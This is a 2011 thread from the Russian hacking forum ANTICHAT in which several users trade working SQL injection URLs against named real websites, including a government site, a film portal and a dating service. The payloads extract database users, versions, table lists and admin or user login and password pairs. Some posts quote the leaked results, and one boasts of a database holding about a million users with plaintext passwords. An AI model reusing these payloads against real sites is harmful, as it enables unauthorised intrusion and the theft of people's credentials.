HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.03.2011, 21:49
av1
Участник форума
Регистрация: 06.10.2008
Сообщений: 165
Провел на форуме:
355997

Репутация: 66
Отправить сообщение для av1 с помощью ICQ
По умолчанию

Код:
Code:
http://www.bouldermicrofinance.org/_fra/index.php?page=f_curso&cnum=-26+UNION+SELECT+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6,7,8,9,10,11--&len=FR
Username: rosamoreno@monaco.dreamhost.com

Version: 5.1.39-log

Database: profesores

Google PR: 5
 
Ответить с цитированием

  #2  
Старый 20.03.2011, 22:19
av1
Участник форума
Регистрация: 06.10.2008
Сообщений: 165
Провел на форуме:
355997

Репутация: 66
Отправить сообщение для av1 с помощью ICQ
По умолчанию

Код:
Code:
http://www.chartstats.com/release.php?release=-7259+union+select+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29--
Username: matt@islanders.dreamhost.com

Version: 5.1.53-log

Database: chartstats

Google PR: 3
 
Ответить с цитированием

  #3  
Старый 21.03.2011, 12:37
Unknown
Guest
Сообщений: n/a
Провел на форуме:
1477

Репутация: 4
По умолчанию

Для любителей клубнички

http://altomrc.dk/index.asp?list=category&page=2&cat_id=-302+and+1=0+union+all+select+1,concat_ws%280x3a,pa ssword,email,username%29,3,4+from+sexdating_no.sex dating_users+limit+0,1+--+

ИЗ этой СУБДшки можно вытянуть данные пользователей sexdating.de, sexdating.no, sexdating.su, а также еще кучи доменов

В приведенном инъекте более 42 000 юзеров. В целом юзеров под лям. Все пароли - в открытом виде.
 
Ответить с цитированием

  #4  
Старый 21.03.2011, 12:52
fl00der
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131

Репутация: 74
По умолчанию

Government

http://www.plani[G00GLE]ficacion.catamarc[G00GLE]a.gov.ar/zomplog3.9/vernota.php?cod=-15+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,version( ),12,13,14,15,16
 
Ответить с цитированием

  #5  
Старый 21.03.2011, 21:23
eclipse
Guest
Сообщений: n/a
Провел на форуме:
30555

Репутация: 85
По умолчанию

КИНОМАНИЯ.РУ, тИЦ - 1400

Код:
Code:
http://www.kinomania.ru/confirm/?id=-1%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20CONCAT%28MID%28Password,%201,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29+--+&code=15541515
++++++++++++++++++++++

kinomaniaru,

u5012_123,

u5012_dump,

u5012_for,u1'

kinomaniaru1

++++++++++++++++++++++

kinomaniaru@10.10.11.821

5.0.90-log1
 
Ответить с цитированием

  #6  
Старый 22.03.2011, 14:12
DJ4J
Познающий
Регистрация: 23.08.2009
Сообщений: 93
Провел на форуме:
1639209

Репутация: 71
Отправить сообщение для DJ4J с помощью ICQ
По умолчанию

Код:
Code:
http://wintech.org/bookdetails.php?bookid=-1+union+select+1,concat%28nickname,0x3a,pass%29,3,4,5,6,7+from+tbl_user%20--
хз где админка...

5 ветка

Код:
Code:
http://www.service-js.jp/cms/show_news.php?id=-1+union+select+1,concat%28admin_user_name,0x3a,admin_user_pw%29,3,4+from+positive_admin_user+LIMIT+1,1--
 
Ответить с цитированием

  #7  
Старый 22.03.2011, 16:54
A_n_d_r_e_i
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
Провел на форуме:
3426765

Репутация: 257
Отправить сообщение для A_n_d_r_e_i с помощью ICQ
По умолчанию

http://www.ultimatecarpage.com/show.php?num=-577+union+select+1,2,3,group_concat(table_name),5, 6+from+information_schema.tables+--

Тиц: 40

Пр: 5

http://www.hccw.com/displayAttorney.php?num=-8+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19+--

pr: 2

http://www.domtomfr.com/commentaire.php?id=-1396+union+select+1,2,@@version,4,5+--

tiz: 10

pr: 4
 
Ответить с цитированием

  #8  
Старый 22.03.2011, 21:07
A_n_d_r_e_i
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
Провел на форуме:
3426765

Репутация: 257
Отправить сообщение для A_n_d_r_e_i с помощью ICQ
По умолчанию

http://www.ecss.bb/viewproduct.php?pid=9+union+select+1,2,3,4,5,6,7,8 ,9,10,11,12,13,@@version,15,16,17,18+--

http://frigonoor.com/viewproduct.php?pid=-25+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10+from+information_schema.tables+--
 
Ответить с цитированием

  #9  
Старый 22.03.2011, 21:41
ubi
Новичок
Регистрация: 25.12.2009
Сообщений: 18
Провел на форуме:
278340

Репутация: 0
По умолчанию

http://www.thebitored.com/wordpress/wp-content/plugins/wp-forum/sendmail.php?action=quote&id=1%20union%20select%20 version(),2,3%20--%20
 
Ответить с цитированием

  #10  
Старый 22.03.2011, 22:19
A_n_d_r_e_i
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
Провел на форуме:
3426765

Репутация: 257
Отправить сообщение для A_n_d_r_e_i с помощью ICQ
По умолчанию

http://www.microwebnow.com/portfolio/hi-caliberhealth/content.php?pageid=-1+union+select+group_concat(0x3a3a,u_name,0x3a,u_p wd)+from+tbl_users+--

шопчик

http://www.microwebnow.com/portfolio/hi-caliberhealth/content.php?pageid=-1+union+select+group_concat(0x3a3a,user,0x3a,pwd)+ from+tbl_admin+--

http://www.bible-history.com/subcat.php?id=13+union+select+group_concat(0x3a3a, admin_username,0x3a,admin_password)+from+administr ators+--

cy:40

pr:6
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ